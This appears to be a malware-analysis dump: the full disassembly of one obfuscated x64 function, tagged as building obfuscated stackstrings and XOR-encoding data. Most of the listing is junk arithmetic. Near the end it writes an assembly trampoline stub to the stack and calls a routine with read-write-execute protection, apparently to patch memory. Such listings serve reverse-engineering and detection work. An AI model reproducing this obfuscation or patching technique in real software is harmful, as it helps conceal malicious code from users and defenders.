Function at 0x140022d60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x140044908]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x180]
xor ebx, ebx
mov qword [rbp + 0x28], rax
mov r12d, 0xfffff6f3
mov qword [rbp + 0x38], rdx
mov rdx, qword [0x140044788]
movsx eax, word [0x140044798]
mov dword [rsp + 0x70], eax
mov eax, 0xcea626bf
mov qword [rbp - 0x50], rax
mov eax, 0xd2ea72ad
mov qword [rbp - 0x78], rax
mov eax, 0x87949059
mov qword [rbp - 0x38], rax
mov rax, qword [0x1400447a8]
movzx r14d, word [0x14004470c]
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x5c], 0x37
mov rax, qword [0x1400447d8]
mov byte [rsp + 0x50], 0xea
mov dword [rsp + 0x7c], eax
movzx eax, byte [0x14004470e]
mov word [rsp + 0x54], ax
mov eax, 0x54
mov rdi, qword [0x1400447a8]
mov qword [rbp - 0x48], rax
movsx eax, byte [0x140044722]
mov word [rsp + 0x60], ax
movabs rax, 0x8a15a4eafc30f
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x70], 0xb0a92a56
mov qword [rbp - 0x60], 0x44b30ab7
mov rax, qword [0x1400447c8]
movzx eax, word [0x1400447a4]
mov qword [rbp - 0x68], rax
mov dword [rsp + 0x78], 0x1feb
mov rax, qword [0x1400447d8]
mov eax, 0xc12d1caf
mov qword [rbp + 0x50], r9
mov qword [rbp + 8], rax
mov al, byte [0x1400447bc]
mov byte [rsp + 0x5c], al
mov rax, qword [0x1400447c8]
cmp byte [str.LSignDataWithCert], bl
mov dword [rsp + 0x78], eax
mov eax, 0x2121
mov word [rsp + 0x5c], ax
mov al, byte [0x140044780]
mov byte [rsp + 0x5c], al
movsx eax, byte [0x140044722]
mov dword [rsp + 0x78], 0x2537
mov dword [rsp + 0x78], eax
mov eax, dword [0x1413914b0]
mov dword [rsp + 0x5c], eax
mov r13d, dword [rsp + 0x7c]
mov qword [rbp + 0x40], r8
mov qword [rbp], rcx
mov qword [rbp - 0x20], rdx
mov dword [rbp - 0x7c], 0x4dde
mov dword [rsp + 0x6c], r12d
mov dword [rsp + 0x74], r14d
mov byte [rsp + 0x51], 0x2e
mov dword [rbp - 0x80], 0x72b
jne 0x140022eed
mov r13d, dword [rsp + 0x70]
mov eax, dword [rsp + 0x5c]
add eax, 0x62f
movzx ecx, dl
mov dword [rbp - 8], eax
movsx eax, byte [str.LSignDataWithCert]
mov dword [rbp - 0x2c], ecx
cmp eax, ecx
jge 0x140022f96
movsx ecx, word [0x14004479c]
movzx eax, byte [rsp + 0x50]
cmp eax, ecx
jne 0x140022f96
movzx eax, byte [0x1400447c0]
test rdi, rdi
movzx ecx, byte [0x1400447e8]
cmovne ecx, eax
mov byte [0x14004470b], cl
mov ecx, ebx
mov rax, qword [0x140044788]
mov edx, dword [0x1400447bc]
test rax, rax
movsx eax, word [0x1400447a0]
mov r8d, dword [rbp - 0x70]
sete cl
sub edx, ecx
add r8d, eax
movsx eax, word [0x14004470c]
mov ecx, ebx
imul r8d, edx
test rdi, rdi
sete cl
add ecx, eax
mov rax, rbx
cmp qword [0x140044780], rbx
not ecx
movsxd rdx, ecx
sete al
sub rdx, rax
mov rax, qword [rbp - 0x38]
add rdx, r8
sub dl, al
mov byte [0x14004470e], dl
mov eax, dword [rsp + 0x5c]
xor r8d, r8d
add eax, 0x8de
mov edx, 0x8e
xor ecx, ecx
mov dword [rbp - 0x30], eax
call fcn.140022778
mov ecx, dword [rsp + 0x5c]
mov r15d, eax
add ecx, 0x8b0
mov eax, 0x7aa2
mov dword [rsp + 0x78], ecx
movzx edx, word [0x14004479c]
movzx r8d, byte [0x14004470e]
mov esi, dword [0x1413914b0]
add r8w, dx
sub r8w, ax
mov eax, 3
mov word [0x14004479c], r8w
mov dword [rsp + 0x64], esi
mov qword [0x1400447a8], rax
mov rax, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x50]
sub rcx, rax
mov rax, qword [rbp - 0x50]
add rax, rcx
mov qword [rbp - 0x50], rax
mov rax, qword [0x1400447a8]
test rax, rax
je 0x14002307d
sub rax, 1
je 0x140023062
sub rax, 1
je 0x140023041
cmp rax, 1
jne 0x140023097
mov rax, qword [0x140044788]
shl rax, 6
mov word [rbp - 0x80], ax
jmp 0x140023097
mov rax, qword [rbp - 0x60]
imul rcx, rax, 0x8c
movsx eax, r14w
mov qword [rbp - 0x68], rcx
movzx ecx, r15b
sub ecx, eax
mov dword [0x1400447ec], ecx
jmp 0x140023097
mov eax, dword [rbp - 0x70]
mov ecx, 0x407f
sub ax, cx
mov byte [rsp + 0x5c], 0xfa
xor r12w, ax
mov dword [rsp + 0x6c], r12d
jmp 0x140023097
movsx rcx, word [0x14004479c]
movabs rax, 0x4308ce385f7d6
imul rcx, rax
mov qword [rbp - 0x60], rcx
mov eax, dword [rsp + 0x64]
mov edx, ebx
add eax, 0x856
mov dword [rsp + 0x7c], eax
movzx eax, byte [rsp + 0x50]
mov ecx, dword [0x1400447e0]
add cl, al
mov byte [rsp + 0x50], cl
mov eax, dword [rsp + 0x64]
add eax, 0x8a3
mov dword [rsp + 0x78], eax
movzx ecx, word [rsp + 0x54]
mov rax, qword [rbp - 0x38]
cmp rcx, rax
movzx eax, word [rsp + 0x54]
mov ecx, ebx
setg dl
cmp ax, 0x35
seta cl
cmp edx, ecx
jbe 0x140023111
test r12w, r12w
je 0x140023125
mov rax, qword [0x1400447a8]
mov ecx, 0x4d3a
sub rax, 0x70ac36b7
mov qword [rbp - 0x58], rax
mov eax, dword [rsp + 0x70]
sub ax, cx
mov word [0x14004470c], ax
jmp 0x140023125
test r15b, r15b
je 0x140023125
movzx eax, byte [0x1400447bc]
movzx r15d, r15b
imul r15d, eax
mov eax, dword [rsp + 0x64]
xor edx, edx
add eax, 0x7ea
mov r8d, 0xc8
mov dword [rbp - 0x24], eax
movzx ecx, word [0x140044764]
mov rax, qword [rbp - 0x38]
xor ecx, 0x75691f64
shl rax, 2
mov dword [0x1400447e4], ecx
xor ecx, ecx
mov word [0x140044764], ax
mov eax, dword [0x1413914b0]
mov dword [rsp + 0x64], eax
movzx eax, word [rsp + 0x54]
mov rax, qword [rbp - 0x60]
sub rax, 0x212786
mov qword [rbp - 0x60], rax
mov eax, dword [rsp + 0x64]
add eax, 0x87d
mov dword [rbp - 0x14], eax
call fcn.140022778
mov word [0x1400447a4], ax
test ax, ax
jne 0x1400231cf
cmp dword [0x1400447ec], ebx
je 0x1400231a9
mov eax, dword [0x1400447e0]
test eax, eax
jne 0x1400231ad
mov eax, dword [rsp + 0x68]
mov eax, dword [0x1400447d0]
mov ecx, 0xc7e
xor eax, 0xffee
mov dword [0x1400447bc], eax
movzx eax, byte [rsp + 0x50]
add ax, cx
mov word [rbp - 0x7c], ax
mov eax, dword [rsp + 0x64]
lea rcx, [rbp + 0xb0]
movups xmm0, xmmword [str.The_request_failed]
add eax, 0x86a
movups xmm1, xmmword [0x1400329a8]
mov dword [rsp + 0x78], eax
mov eax, dword [0x1400329b8]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x1400329bc]
mov word [rbp + 0xd4], ax
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x140044764], ax
mov eax, dword [rsp + 0x64]
add eax, 0x628
mov dword [rbp - 0x28], eax
movsx rax, word [0x1400447a0]
cmp rax, rdi
jb 0x14002335f
mov eax, dword [rsp + 0x68]
movsx ecx, r14w
add ecx, eax
mov dword [rsp + 0x68], ecx
mov edi, 0x54
mov eax, dword [0x1413914b0]
lea rcx, [rbp + 0xd8]
movups xmm0, xmmword [str.Windows.Foundation]
mov dword [rsp + 0x64], eax
mov eax, dword [0x1400323a8]
movups xmm1, xmmword [0x140032398]
mov dword [rbp + 0xf8], eax
movzx eax, word [0x1400323ac]
mov word [rbp + 0xfc], ax
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
mov qword [rbp - 0x78], rcx
mov eax, dword [rsp + 0x64]
add eax, 0x57f
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x64]
add eax, 0x749
mov dword [rsp + 0x78], eax
mov rcx, qword [0x1400447c8]
mov rax, qword [rbp - 0x60]
xor rcx, rax
mov rax, qword [0x1400447c8]
sub rax, rcx
mov qword [0x1400447c8], rax
movzx ecx, word [rsp + 0x54]
mov rax, qword [0x1400447c8]
mov r12d, dword [rsp + 0x70]
add rax, rcx
mov ecx, ebx
mov eax, 0x7bb6
sete cl
sub eax, r13d
add dword [0x1400447b0], eax
add r12d, ecx
mov eax, dword [rsp + 0x64]
add r12d, dword [0x1400447b4]
add eax, 0x710
mov dword [rbp + 0x18], eax
mov rax, qword [rbp - 0x38]
movzx eax, word [0x1400447a4]
mov dword [0x1400447c4], eax
mov eax, dword [0x1413914b0]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
add eax, 0x72d
mov dword [rsp + 0x78], eax
cmp byte [rbp - 0x20], dil
ja 0x140023394
mov eax, esi
not eax
test eax, eax
jne 0x1400233a3
movzx eax, word [0x1400447a0]
jmp 0x1400233a3
mov al, byte [0x14004470b]
test al, al
je 0x140023251
mov al, byte [0x140044790]
mov edi, 0x54
add al, 0x2c
mov byte [rsp + 0x51], al
mov rax, qword [0x1400447c8]
add rax, rdi
mov qword [0x1400447c8], rax
jmp 0x140023256
mov eax, 0x6469
add eax, r12d
mov word [0x1400447e8], ax
mov eax, dword [rsp + 0x64]
xor r8d, r8d
add eax, 0x795
xor edx, edx
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14004470e]
imul ecx, eax, 0xb37db507
mov qword [0x1400447a8], rcx
mov ecx, 0x9b
mov eax, dword [rsp + 0x64]
add eax, 0x907
mov dword [rsp + 0x58], eax
call fcn.140022c18
movsx edx, word [rsp + 0x6c]
or r8d, 0xffffffff
mov byte [rsp + 0x5c], al
mov eax, dword [0x1400447c4]
or eax, edx
not eax
test eax, eax
jne 0x140023407
mov rax, qword [rbp - 0x68]
mov ecx, r8d
test rax, rax
je 0x14002340c
mov ecx, 0xfffffffe
mov al, byte [0x14004470b]
mov r14d, 1
test al, al
je 0x140023427
cmp qword [0x140044790], rbx
mov eax, ebx
jne 0x14002342a
mov eax, r14d
sub eax, edx
cmp ecx, eax
jl 0x140023452
mov eax, 0xffff9197
mov dword [0x1400447b4], 0x5f
mov word [rsp + 0x6c], ax
mov eax, 0x17d
add word [0x1400447a4], ax
jmp 0x14002347a
mov rax, qword [0x1400447d8]
test rax, rax
je 0x14002347a
movzx eax, word [rsp + 0x60]
mov rcx, qword [0x1400447d8]
add cx, ax
mov eax, 0x5e5a
add cx, ax
mov word [rsp + 0x60], cx
mov cl, byte [rsp + 0x51]
mov eax, 0x70
mov edx, dword [rsp + 0x74]
add cl, al
mov byte [rsp + 0x51], cl
mov word [0x14163fa40], dx
sub rax, r14
jne 0x14002348d
test r15b, r15b
je 0x140023537
mov edx, dword [rbp - 0x7c]
mov rsi, qword [rbp - 0x20]
movzx r8d, dx
cmp cl, 5
je 0x1400234d8
mov ecx, dword [0x1400447c0]
mov eax, dword [0x140044780]
add ecx, 0x3f578d29
mov qword [0x1400447d8], rcx
or r8d, 0xffffffff
mov dword [rsp + 0x70], eax
jmp 0x140023577
movsx edx, byte [0x140044721]
mov ecx, 0x8a
movsx ecx, cx
imul edx, ecx
movsx ecx, word [0x14004479c]
add ecx, r8d
movzx eax, sil
mov word [0x140044798], dx
movsxd rdx, ecx
movabs rcx, 0x48fe5d8cc1cb2
imul rax, rcx
movsx ecx, word [0x14004470c]
or rdx, rax
imul ecx, r13d
mov eax, dword [rbp - 0x2c]
xor eax, 0x82
sub eax, ecx
cdqe
add rax, rdx
mov qword [rbp - 0x50], rax
or r8d, 0xffffffff
jmp 0x140023574
mov rax, qword [0x140044788]
not rax
test rax, rax
je 0x140023570
movsx eax, word [rbp - 0x80]
mov edx, dword [rbp - 0x7c]
sub eax, 0x17297037
test esi, esi
mov qword [0x140044780], rax
mov rsi, qword [rbp - 0x20]
je 0x14002356a
mov r15b, byte [str.LSignDataWithCert]
jmp 0x140023577
mov r15, qword [rbp - 0x68]
jmp 0x140023577
mov rsi, qword [rbp - 0x20]
mov edx, dword [rbp - 0x7c]
mov rax, qword [0x140044788]
cmp rax, 0xfffffffffffffffe
je 0x14002364d
movzx edx, word [0x14004479c]
mov ecx, 0xe4
call fcn.140022a94
movsx ecx, ax
mov dword [0x1400447b8], ecx
test r12, r12
je 0x1400235c1
cmp dword [0x1400447e4], ebx
je 0x1400235c1
mov eax, dword [0x1400447c0]
mov qword [0x1400447a8], rax
jmp 0x1400236a4
movsxd rcx, dword [0x14004474c]
mov rax, qword [rbp - 0x38]
cmp rax, rcx
jge 0x140023627
movsx ecx, byte [rsp + 0x5c]
mov r8, qword [0x1400447a8]
movzx eax, r15b
not r8
add ecx, eax
movzx eax, r15b
movsxd rdx, ecx
sub rdx, rax
movsx eax, byte [0x140044721]
imul ecx, eax, 0x54
add r8, rdx
movsxd rax, dword [0x1400447b8]
movsxd rdx, ecx
mov ecx, ebx
imul rdx, rax
mov rax, qword [rbp - 0x38]
imul rdx, r8
imul rax, rdx
test rax, rax
sete cl
mov dword [0x1400447e0], ecx
jmp 0x1400236a4
mov rax, qword [rbp - 0x58]
test rax, rax
je 0x140023647
test sil, sil
je 0x14002363c
movzx edi, word [rsp + 0x54]
jmp 0x140023641
movzx edi, byte [rsp + 0x51]
mov qword [rbp - 0x48], rdi
jmp 0x1400236a4
mov rax, qword [rbp - 0x78]
jmp 0x1400236a4
test sil, sil
je 0x14002366f
add word [0x140044798], r8w
mov eax, 0xac
cwde
movsx ecx, dx
imul ecx, eax
mov word [0x14004470c], cx
jmp 0x1400236a4
mov eax, dword [rsp + 0x68]
test eax, eax
jne 0x140023680
mov r12, qword [rbp - 0x38]
neg r12
jmp 0x1400236a4
cmp byte [0x140044721], bl
je 0x1400236a4
movzx eax, word [0x140044764]
test ax, ax
je 0x1400236a4
mov byte [rsp + 0x5c], bl
mov al, byte [0x14004470b]
add al, 0x38
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x50]
test al, al
je 0x140023700
mov rax, qword [0x1400447c8]
mov r9d, dword [rsp + 0x6c]
movzx eax, word [rsp + 0x54]
mov r10d, 8
cmp eax, dword [0x1400447c0]
mov qword [rbp + 0x20], rbx
jae 0x140023743
movsx r8, byte [rsp + 0x5c]
mov edx, ebx
movzx eax, r15b
movsx ecx, r9w
not ecx
cmp ecx, eax
mov rax, qword [rbp - 0x78]
mov ecx, ebx
setl dl
cmp rax, r8
sete cl
cmp ecx, edx
jbe 0x140023743
mov esi, r10d
mov dword [rsp + 0x74], r10d
jmp 0x140023747
cmp dword [0x1400447e4], ebx
je 0x1400236b3
mov eax, dword [0x1413914b0]
mov r9d, dword [rsp + 0x6c]
mov qword [rbp - 0x50], rax
mov eax, 0x49d2
movzx ecx, r9w
movzx edx, sil
imul edx, ecx
movzx edi, dx
imul edi, eax
movzx eax, word [0x140044764]
not ax
and di, ax
mov qword [rbp - 0x48], rdi
jmp 0x1400236b8
mov esi, dword [rsp + 0x74]
movsx r8d, word [rbp - 0x80]
xor r9d, r9d
mov ecx, dword [0x1400447c0]
xor edx, edx
mov dword [rsp + 0x28], 0x1f
mov dword [rsp + 0x20], 0x60
mov qword [rbp + 0x10], r10
call fcn.140022624
mov qword [rbp + 8], rax
test eax, eax
je 0x14002379d
mov rcx, qword [0x140044780]
mov edx, 0xef
add rcx, r14
mov qword [rbp - 0x60], 0x52
mov qword [0x140044780], rcx
sub rdx, r14
jne 0x140023784
jmp 0x1400237e1
movzx ecx, word [0x140044764]
movabs rax, 0xd8fbb7ce8c9b
cmp rcx, rax
mov edx, ebx
movzx eax, word [0x1400447a0]
mov ecx, ebx
setae dl
cmp ax, word [rbp - 0x80]
setne cl
add ecx, edx
je 0x1400237e1
movzx eax, word [0x1400447ec]
sub ax, 6
mov byte [0x14004470e], 0xf1
mov word [rsp + 0x6c], ax
movzx eax, word [0x14004473c]
mov edx, ebx
cmp ax, si
mov dword [rbp - 0x18], ebx
movzx eax, word [0x14004473c]
mov ecx, ebx
setl dl
cmp ax, 0xe
setl cl
cmp edx, ecx
je 0x140023828
mov rax, qword [rbp - 0x50]
mov edx, ebx
movsx ecx, word [0x1400447a0]
test rax, rax
sete dl
xor edx, dword [0x1400447c0]
add ecx, edx
mov dword [0x1400447c4], ecx
movsxd rax, dword [0x1400447e4]
cmp rax, qword [0x140044790]
ja 0x1400238be
movsx ecx, word [0x14004473c]
mov edx, 0x96
movzx r8d, di
call fcn.140022778
mov eax, eax
mov qword [0x140044790], rax
test rax, rax
jne 0x140023889
cmp byte [rbp - 0x20], bl
movzx eax, byte [0x1400447ec]
movzx ecx, r13b
cmovne ecx, eax
mov eax, 0xffffd015
xor ax, word [0x1400447c0]
mov word [rsp + 0x6c], ax
mov byte [0x140044721], cl
jmp 0x1400238d3
movsx eax, word [rsp + 0x6c]
mov ecx, dword [0x1400447c4]
cmp eax, ecx
je 0x14002389d
test di, di
je 0x1400238d3
mov rax, qword [0x1400447c8]
mov qword [rbp - 0x78], rax
movsx rcx, byte [0x14004470b]
mov rax, qword [rbp - 0x68]
sub cl, al
mov byte [0x14004470b], cl
jmp 0x1400238d3
movsx eax, si
movabs rcx, 0x3fb7d9da65ca
not eax
test eax, eax
cmovne r12, rcx
movdqa xmm0, xmmword [0x1400329e0]
xor r9d, r9d
movdqa xmm1, xmmword [0x1400329f0]
xor r8d, r8d
mov rdx, qword [rbp + 0x38]
mov qword [rsp + 0x40], rbx
mov byte [rsp + 0x5c], 0xb
movzx eax, byte [0x14004470e]
mov qword [rsp + 0x38], rbx
mov dword [0x1400447b8], eax
movzx eax, word [rsp + 0x54]
mov rcx, qword [0x1400447c8]
sub ecx, eax
mov qword [rsp + 0x30], rbx
movdqu xmmword [rbp + 0x60], xmm0
mov dword [0x14004474c], ecx
lea rcx, [0x14000fdb8]
movdqa xmm0, xmmword [0x1400329d0]
mov qword [rsp + 0x28], rbx
mov dword [rbp - 0x40], ebx
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x90], 0x5a415b41
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x94], 0x58415941
mov dword [rbp + 0x98], 0xff58595a
mov word [rbp + 0x9c], 0x90e0
mov qword [rsp + 0x20], rbx
call fcn.14000abe8
mov rsi, rax
test rax, rax
jne 0x140023bd2
mov edx, 0x198
movzx edi, r15b
add word [rbp - 0x48], dx
mov ecx, edi
sub edx, r14d
xor ecx, r13d
sub r13d, ecx
test edx, edx
jg 0x140023995
mov eax, dword [0x1413914b0]
xor ecx, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
add eax, 0x5b8
mov byte [str.LSignDataWithCert], 4
mov dword [rsp + 0x58], eax
movzx edx, byte [rsp + 0x50]
mov r8, qword [0x1400447c8]
call fcn.140022c18
mov word [0x140044798], ax
movzx eax, word [0x14004479c]
test ax, ax
jne 0x140023a5e
mov rax, qword [0x1400447d8]
cmp rax, qword [0x140044780]
jae 0x140023a5e
mov eax, 0x406094d1
mov edx, 0x1c9
sub eax, dword [0x14004474c]
add dword [0x1400447bc], eax
mov rax, qword [rbp - 0x48]
movzx eax, ax
imul ecx, eax, 0xffffe47c
mov dword [0x1400447b0], ecx
cmp qword [0x1400447d0], rbx
je 0x140023a39
movzx r8d, word [0x1400447ec]
mov dword [rsp + 0x6c], r8d
jmp 0x140023a45
movsx eax, byte [0x14004470b]
mov word [rsp + 0x6c], ax
movsx eax, byte [0x14004470b]
add eax, edi
cdqe
mov qword [0x1400447a8], rax
sub rdx, r14
jne 0x140023a21
jmp 0x140023aa1
cmp byte [rsp + 0x51], bl
je 0x140023a72
mov eax, dword [0x1400447e0]
add al, 0x1c
mov byte [rsp + 0x5c], al
jmp 0x140023aa1
cmp r12, qword [0x140044790]
je 0x140023aa1
mov rcx, qword [rbp - 0x78]
movzx eax, word [0x1400447a4]
add rcx, rax
mov qword [rbp - 0x78], rcx
movsx ecx, byte [rsp + 0x5c]
mov eax, dword [0x1400447b8]
imul eax, ecx
mov dword [0x1400447b8], eax
mov eax, dword [rsp + 0x64]
add eax, 0x559
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
add eax, 0x874
mov dword [rsp + 0x64], eax
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
imul ecx, eax
mov eax, dword [rsp + 0x58]
cmp eax, ecx
je 0x140023bd2
mov eax, dword [0x1400447ec]
cmp rax, qword [0x140044790]
jne 0x140023b5e
movzx ecx, word [0x1400447a4]
mov edx, ebx
mov rax, qword [0x140044788]
cmp rax, rcx
mov rax, qword [0x140044788]
mov ecx, ebx
setl dl
cmp rax, 0x19
setl cl
cmp edx, ecx
jbe 0x140023b1b
mov al, byte [str.LSignDataWithCert]
add al, 0x74
mov byte [0x140044721], al
jmp 0x140023b97
mov rcx, qword [0x140044788]
movsxd rax, r13d
cmp rax, rcx
jg 0x140023b57
mov eax, dword [0x1400447c4]
cmp eax, 0x78
jne 0x140023b57
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x140023b97
mov eax, dword [rsp + 0x68]
shl eax, 5
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x58]
sar rax, 6
mov byte [rsp + 0x50], al
jmp 0x140023b97
mov byte [rsp + 0x50], 0xe1
jmp 0x140023b97
movsx edx, word [0x14004473c]
mov r8d, ebx
movsx eax, word [0x1400447a0]
not edx
movzx ecx, word [0x14004470c]
cmp eax, edx
movzx eax, word [0x1400447a4]
setne r8b
cmp r8d, eax
cmovb cx, word [0x1413914b0]
mov word [0x14004470c], cx
movzx eax, word [0x1400447a0]
test ax, ax
je 0x140023ba8
movzx eax, word [rsp + 0x54]
mov eax, dword [0x1400447c4]
mov rax, qword [rbp - 0x68]
movzx eax, word [0x14004473c]
test ax, ax
je 0x140023c1e
mov eax, dword [0x1400447e0]
xor eax, dword [0x140044790]
mov dword [0x1400447e0], eax
jmp 0x140023c1e
mov r8, qword [rbp + 0x40]
lea rcx, [0x14001251c]
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov qword [rsp + 0x38], rbx
mov rdx, rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.14000abe8
mov rsi, rax
test rax, rax
jne 0x140023c25
movsx eax, word [0x14004470c]
xor dword [0x1400447c0], eax
mov qword [rbp - 0x58], 0x38
xor eax, eax
jmp 0x140024d9d
mov r9, qword [rbp + 0x28]
lea rcx, [0x14002207c]
mov rdx, qword [rbp]
add r9, 0x3e
mov qword [rsp + 0x40], rbx
mov r8, rsi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.14000abe8
mov qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x30]
mov edx, dword [rbp - 8]
imul ecx, eax, 0x2e8
mov eax, dword [rbp - 8]
or eax, 0x393
add edx, ecx
cmp edx, eax
je 0x140023d76
movzx eax, word [0x1400447e8]
movsxd r9, dword [rsp + 0x74]
sar ax, 1
movsx r12, ax
movsx rax, r9w
mov qword [0x1414feca0], rax
cmp qword [rbp - 0x10], rbx
jne 0x140023d7b
movsx eax, byte [rsp + 0x5c]
mov rcx, rbx
mov r10d, dword [rbp - 0x7c]
mov r8d, ebx
mov word [0x14004470c], ax
mov edx, ebx
movzx eax, word [rsp + 0x60]
cmp ax, r10w
mov rax, qword [0x1400447a8]
setbe cl
cmp rax, rcx
movsx eax, byte [str.LSignDataWithCert]
movzx ecx, word [0x140044764]
setne r8b
cmp eax, dword [0x1400447c0]
mov eax, ebx
sete dl
cmp ecx, edx
setbe al
cmp eax, r8d
jne 0x140023c1e
mov rax, qword [0x140044788]
movzx ecx, r10w
cmp rcx, rax
jne 0x140023d24
movzx eax, word [0x14004479c]
test ax, ax
sete bl
mov dword [0x1400447e4], ebx
jmp 0x140023c1e
cmp qword [0x1400447d0], rbx
je 0x140023d37
mov al, byte [0x14004470b]
test al, al
jne 0x140023d3a
mov r14d, ebx
mov ecx, dword [0x1400447c4]
mov eax, ebx
mov edx, dword [0x1400447b8]
inc edx
add edx, ecx
sete al
cmp r14d, eax
jb 0x140023c1e
movzx ecx, byte [0x140044798]
test r9w, r9w
movzx eax, byte [rsp + 0x51]
cmovne ecx, eax
mov byte [0x14004470e], cl
jmp 0x140023c1e
mov r9d, dword [rsp + 0x74]
movsx ecx, byte [0x140044722]
mov eax, ebx
mov r11d, dword [rsp + 0x6c]
mov r8d, ebx
test r11w, r11w
sete al
sub ecx, eax
movzx eax, word [rsp + 0x60]
test ax, ax
movsx eax, byte [0x14004470b]
movzx edx, word [rsp + 0x54]
sete r8b
add edx, eax
mov eax, dword [0x1400447e0]
or r8d, ecx
sub eax, 0x45
imul edx, r8d
mov ecx, 0x19ec
imul eax, edx
not eax
mov qword [rbp - 0x68], rax
mov eax, dword [rbp - 0x70]
add eax, 0x96
mov qword [rbp - 0x78], rax
mov eax, dword [rsp + 0x68]
xor al, 0xf4
mov byte [0x14004470e], al
sub rcx, r14
jne 0x140023dd9
test r9w, r9w
lea rax, [rbp + 0x20]
mov r10d, ebx
lea edi, [rcx + 3]
mov r9, rsi
sete r10b
sub r9, rax
mov r8, rbx
movzx eax, byte [rsp + 0x50]
mov edx, ebx
cmp qword [0x1400447d0], rax
mov eax, ebx
setge dl
cmp qword [0x1400447d0], 0x50
setge al
cmp edx, eax
je 0x140023e5a
movzx eax, word [0x140044764]
not eax
cdqe
cmp rax, qword [0x140044790]
jne 0x140023e5a
mov al, byte [0x14004470b]
test al, al
je 0x140023e4e
movsx ecx, byte [0x14004470b]
jmp 0x140023e54
mov ecx, dword [0x1400447e0]
mov eax, ecx
mov qword [rbp - 0x58], rax
cmp r10d, dword [0x1400447b4]
je 0x140023f07
movsx ecx, word [0x14004473c]
add ecx, 0x3132b0b5
mov word [0x14004470c], di
mov dword [0x1400447e0], ecx
movsx ecx, word [0x14004470c]
test ecx, ecx
je 0x140023eeb
sub ecx, r14d
je 0x140023ec6
sub ecx, r14d
je 0x140023eab
cmp ecx, r14d
jne 0x140023f07
mov eax, dword [0x1400447c4]
add eax, 0xb000c237
add r13d, eax
jmp 0x140023f07
mov ecx, dword [rsp + 0x68]
movzx eax, word [0x140044764]
or cx, r11w
not ax
and ax, cx
mov word [rbp - 0x80], ax
jmp 0x140023f07
movzx eax, r15b
sub eax, dword [0x1400447bc]
not eax
imul ecx, eax, 0x6e20
mov eax, dword [0x1400447ec]
inc eax
add eax, ecx
mov qword [0x140044788], rax
jmp 0x140023f07
cmp byte [str.LSignDataWithCert], bl
je 0x140023f00
mov rdx, qword [0x140044788]
mov qword [rbp + 8], rdx
jmp 0x140023f07
mov rax, qword [rbp - 0x60]
mov dword [rbp + 8], eax
lea rcx, [rbp + 0x20]
add rcx, r8
add r8, r14
mov al, byte [r9 + rcx]
mov byte [rcx], al
cmp r8, 8
jl 0x140023e05
mov rdx, qword [rbp + 0x20]
lea r8, [rbp + 0x60]
mov qword [rsp + 0x40], rbx
lea rcx, [0x14002239c]
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.14000abe8
movsx edx, word [0x14004473c]
xor r8d, r8d
mov r9d, dword [rsp + 0x70]
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call fcn.140022624
mov rdi, qword [rbp - 0x48]
mov r15d, eax
test al, al
jne 0x140023fc2
mov edx, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x68]
cmp rdx, rcx
ja 0x140023f94
movsx r13d, word [0x1400447e8]
neg r13d
jmp 0x140023fdf
movzx eax, word [0x14004479c]
test ax, ax
je 0x140023fdf
lea eax, [r14 + rdi]
movsx ecx, ax
mov eax, dword [rsp + 0x74]
cwde
imul eax, ecx
mov word [rsp + 0x74], ax
movzx eax, word [0x1400447b8]
mov word [rsp + 0x60], ax
jmp 0x140023fdf
mov rax, qword [0x1400447a8]
test rax, rax
je 0x140023fdf
movabs rax, 0xfff92763fad28c7b
add rax, r12
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp]
lea rax, [rbp - 0x18]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x10]
mov qword [rbp + 0x30], rsi
lea rdx, [rbp + 0x30]
call fcn.140002803
mov edx, dword [rbp - 0x24]
mov edi, eax
mov ecx, dword [rbp - 0x24]
mov r8d, dword [rsp + 0x7c]
imul edx, ecx
mov ecx, dword [rsp + 0x7c]
sub r8d, edx
sub r8d, ecx
cmp r8d, 0x7e
je 0x1400240f7
movsx rdx, word [0x14004473c]
mov ecx, 0xc7
lea r8d, [rcx + 0x24]
call fcn.140022c18
mov byte [rsp + 0x5c], al
mov al, byte [rsp + 0x5c]
test al, al
je 0x1400240b2
movzx r8d, word [rsp + 0x54]
mov edx, 0x48
movsx rcx, byte [0x140044722]
call fcn.140022c18
mov qword [0x140044788], rax
mov rcx, qword [0x1400447d8]
movsxd rax, r13d
cmp rax, rcx
jg 0x1400240d8
movsx rax, byte [rsp + 0x5c]
mov rdx, rbx
